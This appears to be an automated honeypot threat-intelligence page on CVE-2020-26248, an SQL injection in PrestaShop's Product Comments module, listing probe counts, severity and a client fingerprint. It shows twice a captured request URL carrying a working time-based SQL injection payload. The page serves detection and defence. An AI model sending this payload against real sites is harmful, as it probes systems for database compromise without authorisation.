CVE-2020-26248: PrestaShop Product Comments <4.2.0 - SQL Injection

HoneyLabs honeypots recorded 6 probes matching CVE-2020-26248 from 1 distinct source IP address in the last 7 days. Severity is rated high.

Request paths that identify it

• /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a)

Addresses probing it

Networks it comes from

Where it comes from

Captured requests

• /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a)

HTTP client fingerprints

• b11cun040_00040013_608dab68